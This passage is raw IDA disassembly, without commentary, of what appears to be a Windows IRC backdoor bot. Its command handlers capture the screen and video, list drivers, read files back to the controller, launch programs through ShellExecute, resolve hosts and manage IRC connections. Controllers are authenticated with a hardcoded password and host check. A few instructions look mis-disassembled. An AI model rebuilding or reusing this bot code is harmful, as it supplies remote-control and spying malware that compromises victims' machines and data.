ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_42B408 push eax call sub_41BA76 add esp, 14h jmp loc_403FA7 ; --------------------------------------------------------------------------- loc_408C1A: ; CODE XREF: seg000:00406289j ; seg000:004062A0j push edi push dword ptr [ebp+18h] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4186C5 loc_408C2F: ; CODE XREF: seg000:004040ECj add esp, 14h jmp loc_401F82 ; --------------------------------------------------------------------------- loc_408C37: ; CODE XREF: seg000:0040624Bj ; seg000:00406260j push dword ptr [ebp+18h] push dword ptr [ebp+24h] call sub_41BAF0 pop ecx test eax, eax pop ecx jz loc_409753 mov esi, [ebp+esi-88h] cmp esi, ebx jz short loc_408CD2 push esi push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp-2C0h] jz short loc_408CC0 push esi push dword ptr [ebp-88h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_42B65C push eax call sub_41BA76 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41B7E0 push esi lea eax, [ebp-2C0h] push dword ptr [ebp+18h] push offset unk_42B3E0 push eax call sub_41BA76 add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_4090A4 ; --------------------------------------------------------------------------- loc_408CC0: ; CODE XREF: seg000:00408C6Cj push offset unk_42B3B0 push eax call sub_41BA76 pop ecx pop ecx jmp loc_4090A4 ; --------------------------------------------------------------------------- loc_408CD2: ; CODE XREF: seg000:00408C55j push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41AECC add esp, 0Ch push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset dword_42B394 push 200h push eax call sub_41BB70 add esp, 24h jmp loc_4090A4 ; --------------------------------------------------------------------------- loc_408D1B: ; CODE XREF: seg000:00406221j ; seg000:00406236j push offset aScreen ; "screen" push dword ptr [ebp+18h] call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_408D76 mov edi, [ebp+esi-88h] cmp edi, ebx jz short loc_408D63 push edi call loc_4154BE cmp eax, 1 pop ecx lea eax, [ebp-2C0h] jnz short loc_408D5C push edi push offset unk_42B360 push eax call sub_41BA76 add esp, 0Ch jmp short loc_408D76 ; --------------------------------------------------------------------------- loc_408D5C: ; CODE XREF: seg000:00408D49j push offset unk_42B330 jmp short loc_408D6E ; --------------------------------------------------------------------------- loc_408D63: ; CODE XREF: seg000:00408D37j push offset unk_42B2F4 lea eax, [ebp-2C0h] loc_408D6E: ; CODE XREF: seg000:00408D61j push eax call sub_41BA76 pop ecx pop ecx loc_408D76: ; CODE XREF: seg000:00408D2Cj ; seg000:00408D5Aj push offset aDrivers ; "drivers" push dword ptr [ebp+18h] call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_408E03 xor edi, edi loc_408D8B: ; CODE XREF: seg000:00408DEEj lea eax, [ebp-53F4h] push 1FFh push eax lea eax, [ebp-4EECh] push 0FFh push eax push edi call ds:dword_4CDC28 test eax, eax jz short loc_408DEA lea eax, [ebp-53F4h] push eax lea eax, [ebp-4EECh] push eax push edi lea eax, [ebp-5D84h] push offset unk_42B2C4 push eax call sub_41BA76 push ebx lea eax, [ebp-5D84h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 28h loc_408DEA: ; CODE XREF: seg000:00408DACj inc edi cmp edi, 0Ah jl short loc_408D8B lea eax, [ebp-2C0h] push offset unk_42B29C push eax call sub_41BA76 pop ecx pop ecx loc_408E03: ; CODE XREF: seg000:00408D87j push offset aFrame ; "frame" push dword ptr [ebp+18h] call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_408EA4 cmp [ebp+esi-88h], ebx jz short loc_408E91 cmp [ebp+esi-84h], ebx jz short loc_408E91 mov edi, [ebp+esi-80h] cmp edi, ebx jz short loc_408E91 mov eax, [ebp+esi-7Ch] cmp eax, ebx jz short loc_408E91 push eax call sub_41B969 pop ecx push eax push edi call sub_41B969 pop ecx push eax push dword ptr [ebp+esi-84h] call sub_41B969 pop ecx push eax push dword ptr [ebp+esi-88h] call sub_4156F9 add esp, 10h test eax, eax lea eax, [ebp-2C0h] jnz short loc_408E8A push dword ptr [ebp+esi-88h] push offset unk_42B268 push eax call sub_41BA76 add esp, 0Ch jmp short loc_408EA4 ; --------------------------------------------------------------------------- loc_408E8A: ; CODE XREF: seg000:00408E71j push offset unk_42B234 jmp short loc_408E9C ; --------------------------------------------------------------------------- loc_408E91: ; CODE XREF: seg000:00408E21j ; seg000:00408E2Aj ... push offset unk_42B1FC lea eax, [ebp-2C0h] loc_408E9C: ; CODE XREF: seg000:00408E8Fj push eax call sub_41BA76 pop ecx pop ecx loc_408EA4: ; CODE XREF: seg000:00408E14j ; seg000:00408E88j push offset aVideo ; "video" push dword ptr [ebp+18h] call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_409083 mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+24h], eax jz loc_408F4F mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+8], eax jz short loc_408F4F mov eax, [ebp+esi-80h] cmp eax, ebx mov [ebp+20h], eax jz short loc_408F4F mov edi, [ebp+esi-7Ch] cmp edi, ebx jz short loc_408F4F mov esi, [ebp+esi-78h] cmp esi, ebx jz short loc_408F4F push esi call sub_41B969 pop ecx push eax push edi call sub_41B969 pop ecx push eax push dword ptr [ebp+20h] call sub_41B969 pop ecx push eax push dword ptr [ebp+8] call sub_41B969 pop ecx push eax push dword ptr [ebp+24h] call sub_4158F2 add esp, 14h test eax, eax lea eax, [ebp-2C0h] jnz short loc_408F45 push dword ptr [ebp+24h] push offset unk_42B1C8 loc_408F37: ; CODE XREF: seg000:004086B7j push eax call sub_41BA76 add esp, 0Ch jmp loc_409083 ; --------------------------------------------------------------------------- loc_408F45: ; CODE XREF: seg000:00408F2Dj push offset unk_42B188 jmp loc_40907B ; --------------------------------------------------------------------------- loc_408F4F: ; CODE XREF: seg000:00408EC7j ; seg000:00408ED9j ... push offset unk_42B148 lea eax, [ebp-2C0h] jmp loc_40907B ; --------------------------------------------------------------------------- loc_408F5F: ; CODE XREF: seg000:00405B2Cj ; seg000:00405B41j push offset aR ; "r" push dword ptr [ebp+18h] call sub_41B6B2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_408FDD mov esi, 200h push edi lea eax, [ebp-2C0h] push esi push eax call sub_41BD3F add esp, 0Ch jmp short loc_408FB7 ; --------------------------------------------------------------------------- loc_408F8C: ; CODE XREF: seg000:00408FB9j push 1 lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push edi lea eax, [ebp-2C0h] push esi push eax call sub_41BD3F add esp, 20h loc_408FB7: ; CODE XREF: seg000:00408F8Aj test eax, eax jnz short loc_408F8C push edi call sub_41B24B push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_42B124 push eax call sub_41BA76 add esp, 10h jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_408FDD: ; CODE XREF: seg000:00408F72j push dword ptr [ebp+18h] push offset unk_42B100 jmp loc_406C70 ; --------------------------------------------------------------------------- loc_408FEA: ; CODE XREF: seg000:00405B02j ; seg000:00405B17j cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409753 push offset asc_42B0FC ; "\n" push esi call sub_41C0B0 push esi call sub_419C1B add esp, 0Ch test eax, eax lea eax, [ebp-2C0h] jnz short loc_40902F push offset unk_42B0D0 jmp short loc_40907B ; --------------------------------------------------------------------------- loc_40902F: ; CODE XREF: seg000:00409026j push esi push offset dword_42B0B8 push eax call sub_41BA76 add esp, 0Ch jmp short loc_4090A4 ; --------------------------------------------------------------------------- loc_409040: ; CODE XREF: seg000:00405AD8j ; seg000:00405AEDj cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz loc_409753 push eax call loc_4183F5 test eax, eax pop ecx lea eax, [ebp-2C0h] jnz short loc_409076 push offset unk_42B098 jmp short loc_40907B ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: seg000:0040906Dj push offset dword_42B07C loc_40907B: ; CODE XREF: seg000:00408F4Aj ; seg000:00408F5Aj ... push eax call sub_41BA76 pop ecx pop ecx loc_409083: ; CODE XREF: seg000:00408EB5j ; seg000:00408F40j cmp [ebp-8], ebx jnz short loc_4090A4 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_4090A4: ; CODE XREF: seg000:00408CBBj ; seg000:00408CCDj ... lea eax, [ebp-2C0h] push eax call sub_4152AE pop ecx jmp loc_409753 ; --------------------------------------------------------------------------- loc_4090B6: ; CODE XREF: seg000:00405AAEj ; seg000:00405AC3j push 7Fh lea eax, [ebp-2210h] push dword ptr [ebp+18h] push eax call sub_41B7E0 mov esi, [ebp+esi-88h] add esp, 0Ch cmp esi, ebx jz short loc_4090E7 push 7Fh lea eax, [ebp-2190h] push esi push eax call sub_41B7E0 add esp, 0Ch loc_4090E7: ; CODE XREF: seg000:004090D3j push 7Fh lea eax, [ebp-2110h] push dword ptr [ebp-88h] push eax call sub_41B7E0 mov eax, [ebp+0Ch] push dword ptr [ebp+18h] mov [ebp-2214h], eax mov eax, [ebp-8] mov [ebp-208Ch], eax mov eax, [ebp-4] mov [ebp-2088h], eax lea eax, [ebp-2C0h] push offset dword_42B064 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 1Ch push eax call sub_40AF71 add esp, 24h mov [ebp-2090h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2214h] push ebx push eax push offset sub_41AF92 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-2090h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40918A call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B024 jmp loc_404470 ; --------------------------------------------------------------------------- loc_409182: ; CODE XREF: seg000:00409190j push 32h call ds:dword_428064 ; Sleep loc_40918A: ; CODE XREF: seg000:0040916Fj cmp [ebp-2084h], ebx jz short loc_409182 jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_409197: ; CODE XREF: seg000:00405A84j ; seg000:00405A99j push ebx push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] push dword ptr [ebp+18h] call sub_40FCD8 push dword ptr [ebp+18h] push offset dword_42B00C jmp loc_408972 ; --------------------------------------------------------------------------- loc_4091B6: ; CODE XREF: seg000:00405A5Aj ; seg000:00405A6Fj push 14h lea eax, [ebp-1D44h] push ebx push eax call sub_41B780 push dword ptr [ebp+18h] lea eax, [ebp-1D30h] push offset aS_2 ; "%s" push eax call sub_41BA76 mov eax, [ebp+0Ch] mov [ebp-1D4Ch], eax lea eax, [ebp-0C0h] push eax lea eax, [ebp-1C2Ch] push 80h push eax call sub_41BB70 mov eax, [ebp-4] mov [ebp-1BA4h], eax mov eax, [ebp-8] mov [ebp-1BA0h], eax lea eax, [ebp-1C2Ch] push eax lea eax, [ebp-1D30h] push eax lea eax, [ebp-2C0h] push offset unk_42AFE8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 1Ah push eax call sub_40AF71 add esp, 40h mov [ebp-1BA8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1D4Ch] push ebx push eax push offset sub_415EA1 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1BA8h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40928B loc_409272: ; CODE XREF: seg000:00402292j call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42AFAC jmp loc_40831C ; --------------------------------------------------------------------------- loc_409283: ; CODE XREF: seg000:00409291j push 32h call ds:dword_428064 ; Sleep loc_40928B: ; CODE XREF: seg000:00409270j cmp [ebp-1B9Ch], ebx jz short loc_409283 jmp loc_4023FC ; --------------------------------------------------------------------------- loc_409298: ; CODE XREF: seg000:00405A30j ; seg000:00405A45j push dword ptr [ebp+18h] call near ptr 0B10000h sub [ebp-0F58B40h], al jnz short loc_4092C0 push offset dword_42AF90 jmp short loc_4092BA ; --------------------------------------------------------------------------- push offset unk_42B7D8 call sub_418330 push eax loc_4092BA: ; CODE XREF: seg000:004092ADj lea eax, [ebp-2C0h] loc_4092C0: ; CODE XREF: seg000:004092A6j push 200h push eax call sub_41BB70 loc_4092CB: ; CODE XREF: seg000:004093A0j add esp, 10h jmp loc_406C7F ; --------------------------------------------------------------------------- loc_4092D3: ; CODE XREF: seg000:00405A06j ; seg000:00405A1Bj push dword ptr [ebp+18h] call sub_41B969 push eax call near ptr sub_419B94 xor esi, esi pop ecx inc esi pop ecx push dword ptr [ebp+18h] cmp eax, esi lea eax, [ebp-2C0h] jnz short loc_4092FA push offset unk_42AF6C jmp short loc_4092FF ; --------------------------------------------------------------------------- loc_4092FA: ; CODE XREF: seg000:004092F1j push offset unk_42AF3C loc_4092FF: ; CODE XREF: seg000:004092F8j push eax call sub_41BA76 add esp, 0Ch cmp [ebp-8], ebx jnz loc_406CA3 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h jmp loc_406CA3 ; --------------------------------------------------------------------------- loc_409332: ; CODE XREF: seg000:004059DCj ; seg000:004059F1j push ebx push ebx push dword ptr [ebp+18h] push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call loc_419893 add esp, 18h cmp eax, 1 push dword ptr [ebp+18h] jnz short loc_409358 push offset unk_42AF1C jmp loc_406C70 ; --------------------------------------------------------------------------- loc_409358: ; CODE XREF: seg000:0040934Cj push offset unk_42AEEC jmp loc_406C70 ; --------------------------------------------------------------------------- loc_409362: ; CODE XREF: seg000:004059B2j ; seg000:004059C7j mov esi, [ebp+18h] push esi call ds:dword_4CDC38 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-2D0h], eax jz short loc_4093A5 push 2 lea eax, [ebp-2D0h] push 4 push eax call ds:dword_4CDBB0 ; gethostbyaddr cmp eax, ebx jz short loc_4093C0 push dword ptr [eax] loc_40938E: ; CODE XREF: seg000:004093BEj push esi lea eax, [ebp-2C0h] push offset unk_42AECC push eax call sub_41BA76 jmp loc_4092CB ; --------------------------------------------------------------------------- loc_4093A5: ; CODE XREF: seg000:00409375j push esi call ds:dword_4CDC7C ; gethostbyname cmp eax, ebx jz short loc_4093C0 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_4CDC84 ; inet_ntoa push eax jmp short loc_40938E ; --------------------------------------------------------------------------- loc_4093C0: ; CODE XREF: seg000:0040938Aj ; seg000:004093AEj push offset unk_42AEA4 jmp loc_4061FF ; --------------------------------------------------------------------------- loc_4093CA: ; CODE XREF: seg000:00405988j ; seg000:0040599Dj push 7Fh push dword ptr [ebp+18h] push dword ptr [ebp+1Ch] call sub_41B7E0 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_42AE7C push eax call sub_41BA76 add esp, 18h jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_4093F3: ; CODE XREF: seg000:0040595Ej ; seg000:00405973j push 5 push ebx push ebx push dword ptr [ebp+18h] push offset aOpen ; "open" push ebx call ds:dword_4CDB64 push dword ptr [ebp+18h] test eax, eax jz short loc_409417 push offset unk_42AE5C jmp loc_406C70 ; --------------------------------------------------------------------------- loc_409417: ; CODE XREF: seg000:0040940Bj push offset unk_42AE38 jmp loc_406C70 ; --------------------------------------------------------------------------- loc_409421: ; CODE XREF: seg000:00405934j ; seg000:00405949j mov eax, [ebp+18h] mov cl, [eax] mov ds:byte_42A098, cl movsx eax, byte ptr [eax] push eax push offset unk_42AE10 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_40943A: ; CODE XREF: seg000:0040590Aj ; seg000:0040591Fj push dword ptr [ebp+18h] call sub_41B969 test eax, eax pop ecx jle loc_409753 push dword ptr [ebp+18h] call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40AF07 push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 add esp, 1Ch jmp loc_4088BE ; --------------------------------------------------------------------------- loc_409489: ; CODE XREF: seg000:004058E0j ; seg000:004058F5j mov esi, [ebp+18h] push esi call sub_41B969 test eax, eax pop ecx jle loc_401F82 push esi call sub_41B969 cmp eax, 400h pop ecx jge loc_401F82 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409920 pop ecx pop ecx push 1F4h call ds:dword_428064 ; Sleep push esi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-10h] push esi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B4C[eax] call near ptr 0B10000h pushf push esi call sub_41B969 imul eax, 234h push esi mov ds:dword_440B4C[eax], ebx call sub_41B969 imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_440938[eax], bl jmp loc_401F82 ; --------------------------------------------------------------------------- loc_409537: ; CODE XREF: seg000:004058B6j ; seg000:004058CBj push dword ptr [ebp+18h] push offset aAll ; "all" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_409568 call sub_40B134 cmp eax, ebx jle short loc_40955E push eax push offset unk_42ADE4 jmp loc_4072BB ; --------------------------------------------------------------------------- loc_40955E: ; CODE XREF: seg000:00409551j push offset unk_42ADBC jmp loc_403F99 ; --------------------------------------------------------------------------- loc_409568: ; CODE XREF: seg000:00409548j mov eax, [ebp-0A4h] lea esi, [eax+1] jmp short loc_4095DF ; --------------------------------------------------------------------------- loc_409573: ; CODE XREF: seg000:004095E2j mov edi, [ebp+esi*4-90h] cmp edi, ebx jz loc_401F82 push edi call sub_41B969 push eax call sub_40B0AC pop ecx pop ecx test eax, eax push edi lea eax, [ebp-2C0h] jz short loc_4095A2 push offset unk_42AD98 jmp short loc_4095A7 ; --------------------------------------------------------------------------- loc_4095A2: ; CODE XREF: seg000:00409599j push offset unk_42AD6C loc_4095A7: ; CODE XREF: seg000:004095A0j push eax call sub_41BA76 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4095D1 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_4095D1: ; CODE XREF: seg000:004095B3j lea eax, [ebp-2C0h] push eax call sub_4152AE pop ecx inc esi loc_4095DF: ; CODE XREF: seg000:00409571j cmp esi, 20h jb short loc_409573 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_4095E9: ; CODE XREF: seg000:0040588Cj ; seg000:004058A1j cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409753 push esi push offset dword_42B514 push dword ptr [ebp+0Ch] call sub_409920 push esi push offset dword_42AD50 jmp loc_408A9F ; --------------------------------------------------------------------------- loc_409622: ; CODE XREF: seg000:00405862j ; seg000:00405877j push dword ptr [ebp+18h] push offset dword_42B478 push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] push offset unk_42AD2C jmp loc_408A9F ; --------------------------------------------------------------------------- loc_40963F: ; CODE XREF: seg000:00405838j ; seg000:0040584Dj push dword ptr [ebp+esi-88h] push dword ptr [ebp+18h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] push offset unk_42AD08 jmp loc_408972 ; --------------------------------------------------------------------------- loc_409663: ; CODE XREF: seg000:0040580Ej ; seg000:00405823j push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] push offset unk_42ACE4 jmp loc_408A9F ; --------------------------------------------------------------------------- loc_409680: ; CODE XREF: seg000:00404C79j ; seg000:00404C8Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_42ACC0 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4152AE push dword ptr [ebp+18h] call sub_41B969 add esp, 1Ch loc_4096B8: ; CODE XREF: seg000:00409704j push eax call ds:dword_428064 ; Sleep loc_4096BF: ; CODE XREF: seg000:00404593j xor eax, eax jmp loc_401F85 ; --------------------------------------------------------------------------- loc_4096C6: ; CODE XREF: seg000:00404C4Fj ; seg000:00404C64j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_42AC98 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4152AE push dword ptr [ebp+18h] call sub_41B969 add esp, 1Ch imul eax, 3E8h jmp short loc_4096B8 ; --------------------------------------------------------------------------- loc_409706: ; CODE XREF: seg000:0040296Bj ; seg000:00402980j push dword ptr [ebp+esi-8Ch] xor eax, eax cmp [ebp-8ECh], bl setnz al push eax lea eax, [ebp-334h] push ds:dword_42A0A0 push eax call sub_40AF07 lea eax, [ebp-334h] push eax push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 lea eax, [ebp-334h] push eax push offset unk_42AC74 call sub_415322 loc_409750: ; CODE XREF: seg000:00406D0Aj add esp, 24h loc_409753: ; CODE XREF: seg000:00402118j ; seg000:00402124j ... mov eax, [ebp+2Ch] jmp loc_401F85 ; --------------------------------------------------------------------------- loc_40975B: ; CODE XREF: seg000:00402563j ; seg000:00402578j mov esi, [ebp+esi-8Ch] cmp esi, ebx mov [ebp+18h], esi jz loc_401F82 cmp [ebp-0A8h], ebx jnz loc_401F82 push offset asc_42E0C4 ; "!" push dword ptr [ebp-90h] call sub_41C2E4 mov esi, eax push offset dword_4CDAB0 push ebx inc esi call sub_41C2E4 push offset asc_42AC70 ; "~" push eax call sub_41C2E4 push dword ptr [ebp+18h] mov edi, eax push offset a19736666386888 ; "19736666386888" call sub_41C260 add esp, 20h test eax, eax jz short loc_409803 lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_409920 lea eax, [ebp-0C0h] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_409920 push edi push esi push offset unk_42ABF0 loc_4097EF: ; CODE XREF: seg000:0040985Cj lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 30h jmp loc_4023FC ; --------------------------------------------------------------------------- loc_409803: ; CODE XREF: seg000:004097B6j mov [ebp+2Ch], ebx loc_409806: ; CODE XREF: seg000:00409823j mov eax, [ebp+2Ch] push edi push ds:off_42A154[eax] call sub_40B2C4 pop ecx test eax, eax pop ecx jnz short loc_40985E add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], 4 jb short loc_409806 lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_409920 lea eax, [ebp-0C0h] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_409920 push edi push esi push offset unk_42AB9C jmp short loc_4097EF ; --------------------------------------------------------------------------- loc_40985E: ; CODE XREF: seg000:00409819j mov edi, [ebp+20h] xor esi, esi loc_409863: ; CODE XREF: seg000:00409884j cmp [edi], bl jnz short loc_40987A push dword ptr [ebp+18h] push offset a19736666386888 ; "19736666386888" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_40988B loc_40987A: ; CODE XREF: seg000:00409865j inc esi add edi, 80h cmp esi, 1 jl short loc_409863 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_40988B: ; CODE XREF: seg000:00409878j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0E2Ch] push 7Fh push eax push esi call sub_41B7E0 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4098C2 push ebx push dword ptr [ebp-4] push offset unk_42AB7C push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_4098C2: ; CODE XREF: seg000:004098A6j lea eax, [ebp-0C0h] push eax push offset unk_42AB5C loc_4098CE: ; CODE XREF: seg000:00402073j ; seg000:0040436Fj ... call sub_415322 loc_4098D3: ; CODE XREF: seg000:00403652j pop ecx loc_4098D4: ; CODE XREF: seg000:00403FD4j pop ecx jmp loc_401F82 ; --------------------------------------------------------------------------- loc_4098DA: ; CODE XREF: seg000:00401D4Aj ; seg000:00401D5Fj push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push offset aXI ; "-x+i" push dword ptr [ebp+18h] push offset aModeSS_0 ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 add esp, 2Ch mov ds:dword_4CDAA8, edi jmp loc_401DD9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409920 proc near ; CODE XREF: sub_4019DB+30p ; seg000:00401D07p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C380 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4CDC48 ; send leave retn sub_409920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409966 proc near ; CODE XREF: seg000:00401FE0p ; seg000:00402E0Cp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409981 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409981: ; CODE XREF: sub_409966+14j push edi call sub_41B1D0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B1D0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_2 ; "%s" push esi push eax call sub_41BB70 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41BA76 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4CDC48 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4099FF push 7D0h call ds:dword_428064 ; Sleep locret_4099FF: ; CODE XREF: sub_409966+8Cj leave retn sub_409966 endp ; =============== S U B R O U T I N E ======================================= sub_409A01 proc near ; CODE XREF: seg000:00401281p push ebx push ebp mov ebp, ds:dword_42809C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4280BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409B21 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_4CDCA4, eax call esi push offset aProcess32first ; "Process32First" push edi mov ds:dword_4CDC18, eax call esi push offset aProcess32next ; "Process32Next" push edi mov ds:dword_4CDBFC, eax call esi push offset aModule32first ; "Module32First" push edi mov ds:dword_4CDB0C, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_4CDAB8, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_4CDAE8, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_4CDB60, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_4CDC58, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_4CDCB0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_4CDB18, eax call esi cmp ds:dword_4CDCA4, ebx mov ds:dword_4CDB00, eax jz short loc_409AFF cmp ds:dword_4CDC18, ebx jz short loc_409AFF cmp ds:dword_4CDBFC, ebx jz short loc_409AFF cmp ds:dword_4CDB0C, ebx jz short loc_409AFF cmp ds:dword_4CDAE8, ebx jz short loc_409AFF cmp ds:dword_4CDB60, ebx jz short loc_409AFF cmp ds:dword_4CDC58, ebx jz short loc_409AFF cmp ds:dword_4CDCB0, ebx jz short loc_409AFF cmp 